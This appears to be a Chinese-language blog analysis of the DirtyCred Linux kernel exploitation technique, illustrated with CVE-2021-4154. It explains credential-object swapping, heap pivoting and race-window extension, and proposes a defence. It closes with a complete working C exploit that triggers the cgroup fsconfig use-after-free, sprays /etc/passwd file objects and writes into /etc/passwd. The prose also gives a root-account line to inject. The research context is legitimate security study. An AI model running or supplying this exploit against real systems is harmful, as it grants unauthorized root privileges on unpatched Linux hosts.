DirtyCred与CVE-2021-4154漏洞分析

基础知识

DirtyCred通过利用堆破坏内核漏洞,交换进程或文件的非特权和特权凭据,实现越权执行或写入操作。该技术能够绕过包括KASLR、CFI、SMEP/SMAP以及KPTI在内的多种内核保护机制和漏洞缓解措施。

具体到实现上,DirtyCred需要对已知内核漏洞的利用功能进行转向,以便对凭据对象进行交换,这一过程取决于不同类型的漏洞在内存损坏中所能提供的不同功能。此外,DirtyCred必须严格控制对象交换发生的时间窗口。由于可利用的时间窗口极为短暂,若没有有效的机制延长此时间窗口,漏洞利用的稳定性将受到影响。第三,DirtyCred需要找到一种机制,使得无特权用户能够主动地分配特权凭证,因为缺乏这种能力会阻碍主动触发凭证对象的交换,从而影响漏洞的利用。

为了达到这一目的,DirtyCred将任何基于堆的漏洞转变为能够以无效方式释放凭据对象的能力,并结合使用userfaultfd、FUSE和文件锁等三种不同的内核特性,以延长对象交换所需的时间窗口,实现稳定的漏洞利用。同时,DirtyCred还利用了各种内核机制,从用户空间和内核空间生成高特权线程,主动分配特权对象。

Credentials in Linux kernel

在Linux内核中,Credentials代表一系列包含特权信息的内核属性,这些属性使得Linux内核能够根据用户的权限来执行访问控制。Credentials在Linux内核中是作为携带特权信息的内核对象来实现的,这些对象主要包括credfileinode对象。鉴于inode对象仅在文件系统上创建新文件时分配,它提供的利用空间不足以支持内存操作(成功利用漏洞的关键步骤),因此,漏洞利用主要集中在credfile对象上。

  1. struct cred 对象存储了进程的权限信息,如GID、UID等。通过修改低权限进程的cred结构体,可以将进程提升至高权限(如root)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    // include/linux/cred.h
    struct cred {
    atomic_t usage;
    #ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t subscribers; /* number of processes subscribed */
    void *put_addr;
    unsigned magic;
    #define CRED_MAGIC 0x43736564
    #define CRED_MAGIC_DEAD 0x44656144
    #endif
    kuid_t uid; /* real UID of the task */
    kgid_t gid; /* real GID of the task */
    kuid_t suid; /* saved UID of the task */
    kgid_t sgid; /* saved GID of the task */
    kuid_t euid; /* effective UID of the task */
    kgid_t egid; /* effective GID of the task */
    kuid_t fsuid; /* UID for VFS ops */
    kgid_t fsgid; /* GID for VFS ops */
    unsigned securebits; /* SUID-less security management */
    kernel_cap_t cap_inheritable; /* caps our children can inherit */
    kernel_cap_t cap_permitted; /* caps we're permitted */
    kernel_cap_t cap_effective; /* caps we can actually use */
    kernel_cap_t cap_bset; /* capability bounding set */
    kernel_cap_t cap_ambient; /* Ambient capability set */
    ...
    }

  2. struct file 对象包含了文件的部分权限信息,如读写权限等。如果低权限用户能够修改高权限文件(如/etc/passwd),同样可以实现提权。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    // include/linux/fs.h
    struct file {
    ...
    struct path f_path;
    struct inode *f_inode; /* cached value */
    const struct file_operations *f_op;

    /*
    * Protects f_ep_links, f_flags.
    * Must not be taken from IRQ context.
    */
    spinlock_t f_lock;
    enum rw_hint f_write_hint;
    atomic_long_t f_count;
    unsigned int f_flags;
    fmode_t f_mode; // !!: O_RDWR
    struct mutex f_pos_lock;
    loff_t f_pos;
    struct fown_struct f_owner;
    const struct cred *f_cred; // !!: cred
    struct file_ra_state f_ra;
    ...
    }

在Linux中,每个进程都有一个指向cred对象的指针。cred对象中的UID字段表示进程权限,如GLOBAL_ROOT_UID表示任务具有root权限。当进程尝试访问资源时,内核会检查进程的cred对象中的UID,以确定是否授权访问。除了UID,cred对象还包含了细粒度的能力(capabilities),这些能力指定了进程可以执行的特定操作。例如,CAP_NET_BIND_SERVICE能力允许进程将套接字绑定到Internet域的特权端口上。在Linux内核中,每个文件都与一个inode对象关联,该对象链接到凭证,以控制对文件的访问。当进程打开文件时,内核会检查inode及其权限,并在授权访问后,将凭证从inode对象转移到file对象。file对象不仅维护凭证,还包含文件的读写权限,通过这些机制,内核可以确保进程不会向只读模式打开的文件写入数据。

在Linux内核中,每个文件都有其所有者的UID和GID以及其他用户的访问权限和能力。对于可执行文件,它们还具有SUID/SGID标志,指示允许其他用户以所有者的特权运行的特殊权限。在Linux内核实现中,每个文件都绑定到一个链接到凭证的inode对象。当一个进程试图打开一个文件时,内核调用函数inode_permission会在授予文件访问权之前检查inode和相应的权限。打开文件后,内核断开与inode对象的凭据链接并将它们附加到file对象。除了维护凭证之外,file对象还包含文件的读/写权限。通过file对象,内核可以索引到cred对象,从而检查特权。此外,它还可以检查读写权限,从而确保进程不会向以只读模式打开的文件写入数据。

Kernel Heap Memory Management

Linux内核使用slab内存分配器来管理内存分配以提高性能和防止碎片化。尽管Linux内核中存在三种不同的内存分配器(SLOB,SLAB,SLUB),它们共享一个相同的设计理念。具体来说,这些分配器都依赖于缓存机制来管理大小相同的内存块。对于每个缓存,内核会分配内存页,并将其划分为多个大小相同的块,每个块用于承载特定类型的对象。当一个缓存中的内存页被完全占用时,内核会为该缓存分配新的内存页。如果一个缓存中的内存页不再被需要,即其上的所有对象都已被释放,那么内核会回收这些内存页。

Linux内核主要包含两种类型的缓存:

Generic Caches

Linux内核提供了多种通用缓存,用于分配不同大小的内存块。当请求内存分配时,内核首先将请求的大小四舍五入到最接近的大小,然后从匹配大小的缓存中分配内存块。如果分配请求没有明确指定从哪种类型的缓存中进行分配,则默认在通用缓存中进行。相同通用缓存中的分配请求可以共享相同的内存页,因为它们被维护在同一内存页上。

Dedicated Caches

为了提高性能和安全性,Linux内核创建了专用缓存。一些频繁使用的对象会拥有自己的专用缓存,这可以减少分配这些对象的时间,从而提高系统性能。专用缓存和通用缓存不共享内存页,因此在通用缓存中分配的对象不会与专用缓存中的对象相邻。这可以看作是一种缓存级的隔离,有助于减轻通用缓存中的溢出对系统的影响。

可以通过在终端中输入sudo cat /proc/slabinfo命令查看slab分配器的详细信息。其中列出的不同名称的内存块即表示专用缓存,名称中包含kmalloc的则表示通用缓存。

Threat Model

假设一个低权限用户拥有对Linux系统的本地访问权限,并试图通过利用内核中的内存破坏漏洞来实现本地提权。我们还假设Linux系统启用了内核版本5.15中提供的所有攻击缓解措施和内核保护机制。这些机制包括KASLR, SMAP, SMEP, CFI, KPTI等。在这种情况下,内核地址空间是随机化的,内核执行期间不能直接访问用户空间内存,且其控制流完整性得到保证。

DirtyCred利用

以CVE-2021-4154为例,演示了DirtyCred如何被实际利用。

CVE-2021-4154是由于类型混淆错误导致,其中文件对象被fs_context结构体中的指针错误引用。在Linux内核中,文件对象的生命周期是通过引用计数机制维护的。当引用计数降至零时,文件对象会被自动释放,这意味着该对象不再被使用。然而,通过触发此漏洞,即使文件对象仍在使用中,内核也会错误地释放它。

如上图所示,DirtyCred首先打开一个可写文件/tmp/x,这会在内核中分配一个可写文件对象。通过触发漏洞,结构体中的指针被改为指向对应缓存中的文件对象。接着,DirtyCred尝试向打开的文件/tmp/x写入内容。在实际写入内容之前,Linux内核会检查当前文件是否有写权限、位置是否可写等。通过这些内核检查后,DirtyCred继续执行文件写入操作,并进入下一步。在这一步中,DirtyCred通过触发fs_context的释放操作来释放文件对象,使得该文件对象成为一个已释放的内存块。然后,在第三步中,DirtyCred打开一个只读文件/etc/passwd,这导致内核为/etc/passwd分配一个文件对象。如图所示,新分配的文件对象被放置在之前释放的内存块中。此后,DirtyCred继续之前的写操作,内核将执行实际的内容写入。由于文件对象已经被交换,所以原本要写入的内容现在将重定向到只读文件/etc/passwd中。如果写入/etc/passwd的内容是hacker:x:0:0:root:/:/bin/sh,那么攻击者可以通过这种方式注入一个root账户,从而实现提权。

简而言之,攻击者在权限检查和数据写入之间进行竞争。在成功检查文件权限(/tmp/x可写)之后,触发漏洞恶意释放原先的credential结构体(这里是file结构体),并创建高权限credential结构体(例如/etc/passwdfile结构体)来占据这个内存块,使得待写入的数据被写入/etc/passwd中,造成本地提权。

漏洞修补:

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c
index ee93b6e895874..527917c0b30be 100644
--- a/kernel/cgroup/cgroup-v1.c
+++ b/kernel/cgroup/cgroup-v1.c
@@ -912,6 +912,8 @@ int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);
if (opt == -ENOPARAM) {
if (strcmp(param->key, "source") == 0) {
+ if (param->type != fs_value_is_string)
+ return invalf(fc, "Non-string source");
if (fc->source)
return invalf(fc, "Multiple sources not supported");
fc->source = param->string;

如上所示,DirtyCred不仅限于利用file对象。攻击者也可以使用类似的技术来交换凭据(cred),从而实现提权。

依据CVE-2021-4154的利用案例,DirtyCred本身不修改控制流,而是利用内核的内存管理特性来操作内存中的对象。因此,许多旨在防止控制流篡改的现有防御措施对于DirtyCred的利用无效。尽管最近一些研究工作尝试通过重新设计内存管理机制(例如AUTOSLAB)来增强内核的防御,但它们仍然无法阻止DirtyCred的利用,因为这些新提出的内存管理方案仍然是粗粒度的,无法有效阻止所需的内存操作。

技术挑战

虽然上述示例展示了DirtyCred如何实现提权的过程,但在实际应用中还存在许多技术难题需要解决。

DirtyCred的核心在于能够非法释放一个低特权对象(如具有写权限的文件对象),并重新分配为一个高特权对象(例如,具有只读权限的文件对象)。然而,并不是所有内核漏洞都直接提供这样的能力。有的漏洞可能仅允许越界写入,而不支持直接对凭据对象进行非法释放。因此,对于不同类型的漏洞,DirtyCred需要设计不同的策略来进行利用。

在权限检查完成之后和文件对象交换之前,DirtyCred需要保证真实文件写入的有效性。但在Linux内核中,权限检查与实际内容的写入是并行进行的。若没有有效控制文件对象交换的具体时机的方案,利用的难度将大幅增加。因此,DirtyCred需要一系列的机制,确保在恰当的时间窗口内完成文件对象的交换。

其中一个关键挑战是如何使用高特权凭证替换掉低特权凭证。为此,DirtyCred在释放的内存块中分配高特权对象以接管该内存。但低权限用户分配高权限凭据并非易事。虽然简单地等待特权用户自行分配可能在某些情况下可行,但这种被动策略严重影响了利用的稳定性。首先,DirtyCred无法预知何时可以回收所需的内存块以继续利用;其次,新分配的对象可能并不具备所需的特权级别。因此,DirtyCred需要结合用户空间和内核空间的策略来解决这一问题。

PIVOTING VULNERABILITY CAPABILITY

以CVE-2021-4154为例,内核漏洞为DirtyCred提供了非法释放文件对象的能力。然而在实际中,其他内核漏洞可能没有这种直接能力。例如,double-free或use-after-free(UAF)漏洞可能不直接针对凭证对象。而一些越界访问(OOB)漏洞没有非法释放的能力。因此,DirtyCred需要调整其利用链以适应不同类型的漏洞。

Pivoting OOB & UAF Write

对于具有内存覆盖能力的OOB或UAF漏洞,DirtyCred首先寻找在内存中相邻且包含指向cred对象指针的可利用结构体。接着,利用SLAKE或其他堆喷技术在覆盖发生的内存区域分配目标对象。如下图所示,为了利用OOB漏洞,目标结构体需要紧跟在可控对象之后。DirtyCred通过越界写修改结构体中包含的cred指针,具体而言,是将cred指针的低两个字节置零。

由于Linux内核中的内存是按页管理的,且内存页地址始终以0x1000字节对齐,新缓存分配的对象通常从内存页的起始位置开始。因此,通过覆写的零字节操作,使得指针指向内存页的起始处。例如,在图(b)中,将凭证对象引用的指针的最后两个字节置零后,该指针将指向另一个凭证对象所在的内存页的起始。这样,DirtyCred通过修改指针,获取到了新内存页第一个对象的非法引用。利用内核正常释放对象内存和保留野指针的特性,DirtyCred可以通过堆喷技术用高特权凭证对象占据释放的位置,实现提权。

  • 如果UAF发生在credential dedicated cache上,只需释放原有的unprivileged credential,并用新创建的privileged credential对象占据该内存块即可完成替换。
  • 如果UAF发生在generic cache上(更常见的情况),则要求该UAF漏洞具有invalid-write的能力。即先释放一个内存块,利用带有credential pointer的可利用对象占据该内存块,再通过UAF野指针修改这个credential pointer

Pivoting Double Free

Double Free漏洞的利用相对更为复杂:

利用流程如下:

  1. 在受影响对象所在的缓存中大量分配对象,使其释放时机可控且至少占用一个内存页。这样做的目的是让某个内存页的回收时机可控,因为如果该页上的所有对象都被释放,则该空闲页会被回收。
  2. 尝试触发两次double free漏洞,以在一个被释放的内存块上留下两个悬挂指针。
  3. 释放该受影响对象所在内存页上的所有对象,使该页被回收并用于credential的内存分配,成为专用缓存。
  4. 在这个现已成为credential dedicated cache的内存页上大量分配credential结构体,以占满该页内存。
  5. 注意到两个悬挂指针可能不与credential object对齐,需要利用其中一个悬挂指针来释放出一个credential object的内存块。
  6. 分配新的credential object来占据这个内存块,这样就实现了两个指针同时指向一个credential object,后续的利用可以参考UAF的方式。

延长竞争窗口

Dirty Cred的核心挑战之一是在进行文件写权限检查和实际写入数据之间,成功地将低权限的credential替换为高权限credential。由于替换credential需要一定的时间,能够延长这个“竞争窗口”将大大提高漏洞利用的成功率。

在多线程程序中,userfaultfd允许一个线程管理其他线程产生的Page Fault事件。当某线程触发Page Fault时,它会立即进入休眠状态,而其他线程可以通过userfaultfd读取并处理这个Page Fault事件。

userfaultfd经常被用于条件竞争漏洞的利用中。为了防止userfaultfd在内核漏洞利用中被滥用,从内核5.11版本开始,非特权userfaultfd默认是禁用的(LWN: Blocking userfaultfd() kernel-fault handling)。

FUSE(Filesystem in Userspace)是一个用户层的文件系统框架,允许用户自定义文件系统。通过在该框架中注册handler来处理文件操作请求,可以在文件操作前执行handler来暂停内核执行,从而尽可能地延长时间窗口。

Userfaultfd利用方式

在Linux 4.13版本之前,writev系统调用的实现如下所示:

攻击者可以在权限检查完成后,在调用import_iovec时触发缺页错误,利用userfaultfd机制暂停内核执行。

但是,在Linux 4.13版本后,import_iovec函数调用被提前,如下所示:

如果有进程对某个文件执行了超大量数据写入,那么另一个进程在对相同文件执行写操作时,将会等待inode锁的释放。实验表明,4GB数据的写入可以使后续进程等待数十秒(依赖于硬盘性能),因此这个inode锁也可以用来延长竞争窗口。

分配特权对象

由于Dirty Cred极度需要控制特权credential对象的分配时机,如何控制这些对象的分配成为了关键。

在用户层面,可以通过以下方法来分配特权credential:

  1. 大量执行Set-UID程序(如sudo),或频繁创建特权级守护进程(如sshd),以此来创建特权credential结构体。
  2. 使用ReadOnly方式打开如/etc/passwd这类特权文件。

在内核层面,当内核创建新的kernel thread时,当前的kernel thread及其特权credential结构体会被复制。因此,只要找到稳定创建kernel thread的方法,Dirty Cred就能稳定地创建特权credential结构体。实现这一目标的方法包括:

  1. 向kernel workqueue中填充大量任务,动态创建新的kernel thread来执行这些任务。
  2. 调用usermode helper(一种允许内核创建用户模式进程的机制)。最常见的应用场景是加载内核模块到内核空间中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// kernel/kmod.c
static int call_modprobe(char *module_name, int wait)
{
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};

char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
if (!argv)
goto out;

module_name = kstrdup(module_name, GFP_KERNEL);
if (!module_name)
goto free_argv;

argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* 注意 free_modprobe_argv() */
argv[4] = NULL;

// 调用usermode helper
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;

return call_usermodehelper_exec(info, wait | UMH_KILLABLE);

free_module_name:
kfree(module_name);
free_argv:
kfree(argv);
out:
return -ENOMEM;
}

内核在加载内核模块时,会在内核层执行modprobe程序,以搜索标准安装路径下的目标驱动

EVALUATION

可利用的内核对象

在Linux 5.16.15版本中,DirtyCred利用的前提是内核对象中必须包含credential对象,且可以控制这些对象在内核堆上的分配时机

分析结果如下:

  1. 几乎每个generic cache都至少有两个可利用对象。
  2. 各个可利用对象中credential的偏移量差异较大,这为Dirty Cred的利用成功率提供了提升的可能性。
    • 特别是对于OOB(越界写)漏洞,可覆写的偏移量可能相差甚远。
  3. 有五个可利用对象的credential相对偏移量为0,这意味着在内存破坏范围较小的情况下,Dirty Cred的利用成功率会更高。

满足评估条件的CVE漏洞

评估标准包括:

  • 报告时间为2019年及以后的Linux内核漏洞。
  • 能够在Linux堆上进行堆破坏。
  • 触发条件不需要特定硬件支持。
  • 能复现相应内核panic。

从上图可见,在所有缓解机制都启动的情况下,Dirty Cred的利用成功率为:16/24。其中:

  1. Double Free漏洞的利用成功率最高。
  2. OOB漏洞中,有些案例因为OOB write发生在虚拟内存而非kmalloc分配的内存,因此不可利用。
  3. UAF漏洞中,一些无法完成利用的案例是因为仅能进行UAF read,无法执行invalid-write;或者虽然可以执行invalid-write,但写入位置不在可利用对象的credential字段上。

Dirty Cred防护

Dirty Cred之所以能成功利用,核心原因在于内核的内存隔离是基于类型而非权限

防护方法相对简单:将privileged credentials与其他unprivileged credentials隔离。

实现方式是使用vzalloc/kvfree函数在虚拟内存中创建与释放privileged credentials内存,从而实现privileged和unprivileged对象在memory cache中的隔离。

选择虚拟内存的原因:

  1. 如果使用两个不同的kmalloc分配的memory cache,存在通过Linux内核重用机制将privileged和unprivileged所在页合并的风险,导致隔离失效。
  2. 虚拟内存区域内的内存是内核动态分配虚拟连续的,位于VMALLOC_START至VMALLOC_END区域内,不会与直接映射的内存区域重叠。

需要隔离的credential结构体包括:

  1. UID为GLOBAL_ROOT_UID的struct cred(privileged credentials)。
  2. 打开方式中带有可写权限的struct file(unprivileged credentials)。

为何需要隔离这两种类型的结构体,是因为相比其他结构(非特权级UID或只读文件结构),它们的创建次数相对较少。

隔离在credential创建时就已确定,如果非特权cred结构体被原地提权(如通过setuid/cap_setuid),则内存隔离策略可能失效。因此,提出在alter_cred_subscribers函数执行时,在虚拟内存区域创建新的特权cred,而非原地修改。但这种防护策略的有效性可能取决于Linux未来的发展,如果开发出新的原地修改cred的方式,则此防护可能会失效,因此留待未来进一步研究。

CVE-2021-4154利用

在线程1中打开一个执行“慢写”的可写文件,将大量数据写入文件。

此时在线程2中打开同一个文件准备进行写入恶意数据,通过权限检查后触发锁等待线程1

线程3触发UAF: 此时文件还在使用,但引用数被置0,导致文件对象被free。

疯狂打开/etc/passwd等待特权文件结构替换释放的文件结构

线程2等待线程1解锁后,向特权文件写入恶意数据

攻击成功

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
#define _GNU_SOURCE

#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <assert.h>
#include <pthread.h>
#include <sys/uio.h>

#include <linux/bpf.h>
#include <linux/kcmp.h>

#include <linux/capability.h>

static void die(const char *fmt, ...) {
va_list params;

va_start(params, fmt);
vfprintf(stderr, fmt, params);
va_end(params);
exit(1);
}

static void use_temporary_dir(void) {
system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data");
char *tmpdir = "exp_dir";
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}

static bool write_file(const char *file, const char *what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}

static void setup_common() {
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
}

static void loop();

static void sandbox_common() {
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char *name;
const char *value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}

static int wait_for_loop(int pid) {
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}

static void drop_caps(void) {
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}

static int real_uid;
static int real_gid;
__attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20];

static int namespace_sandbox_proc() {
sandbox_common();
loop();
}

static int do_sandbox_namespace() {
setup_common();
real_uid = getuid();
real_gid = getgid();
mprotect(sandbox_stack, 4096, PROT_NONE);

while (1) {
int pid =
clone(namespace_sandbox_proc, &sandbox_stack[sizeof(sandbox_stack) - 64],
CLONE_NEWUSER | CLONE_NEWPID, 0);
int ret_status = wait_for_loop(pid);
if (ret_status == 0) {
printf("[!] succeed\n");
sleep(1);
printf("[*] checking /etc/passwd\n\n");
printf("[*] executing command : head -n 5 /etc/passwd\n");
sleep(1);
system("head -n 5 /etc/passwd");
return 1;
} else {
printf("[-] failed to write, retry...\n\n");
sleep(3);
}
}
}

// ===========================

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#define MAX_FILE_NUM 1000
int uaf_fd;
int fds[MAX_FILE_NUM];

int run_write = 0;
int run_spray = 0;
char *cwd;

void *slow_write() {
printf("[*] start slow write to get the lock\n");
int fd = open("./uaf", 1);

if (fd < 0) {
perror("error open uaf file");
exit(-1);
}

unsigned long int addr = 0x30000000;
int offset;
for (offset = 0; offset < 0x80000; offset++) {
void *r = mmap((void *)(addr + offset * 0x1000), 0x1000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if (r < 0) {
printf("allocate failed at 0x%x\n", offset);
}
}

assert(offset > 0);

void *mem = (void *)(addr);
memcpy(mem, "hhhhh", 5);

struct iovec iov[5];
for (int i = 0; i < 5; i++) {
iov[i].iov_base = mem;
iov[i].iov_len = (offset - 1) * 0x1000;
}

run_write = 1;
if (writev(fd, iov, 5) < 0) {
perror("slow write");
}
printf("[*] write done!\n");
}

void *write_cmd() {
char data[1024] = "\nDirtyCred works!\n\n";
struct iovec iov = {.iov_base = data, .iov_len = strlen(data)};

while (!run_write) {
}
run_spray = 1;
if (writev(uaf_fd, &iov, 1) < 0) {
printf("failed to write\n");
}
printf("[*] overwrite done! It should be after the slow write\n");
}

int spray_files() {

while (!run_spray) {
}
int found = 0;

printf("[*] got uaf fd %d, start spray....\n", uaf_fd);
for (int i = 0; i < MAX_FILE_NUM; i++) {
fds[i] = open("/etc/passwd", O_RDONLY);
if (fds[i] < 0) {
perror("open file");
printf("%d\n", i);
}
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) ==
0) {
found = 1;
printf("[!] found, file id %d\n", i);
for (int j = 0; j < i; j++)
close(fds[j]);
break;
}
}

if (found) {
sleep(4);
return 0;
}
return -1;
}

void trigger() {
int fs_fd = syscall(__NR_fsopen, "cgroup", 0);
if (fs_fd < 0) {
perror("fsopen");
die("");
}

symlink("./data", "./uaf");

uaf_fd = open("./uaf", 1);
if (uaf_fd < 0) {
die("failed to open symbolic file\n");
}

if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd)) {
perror("fsconfig");
exit(-1);
}
// free the uaf fd
close(fs_fd);
}

void loop() {
trigger();

pthread_t p_id;
pthread_create(&p_id, NULL, slow_write, NULL);

pthread_t p_id_cmd;
pthread_create(&p_id_cmd, NULL, write_cmd, NULL);
exit(spray_files());
}

int main(void) {
cwd = get_current_dir_name();
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
use_temporary_dir();
do_sandbox_namespace();
return 0;
}

DirtyCred与CVE-2021-4154漏洞分析
https://mundi-xu.github.io/2022/10/08/DirtyCred/
Author
寒雨
Posted on
October 8, 2022
Licensed under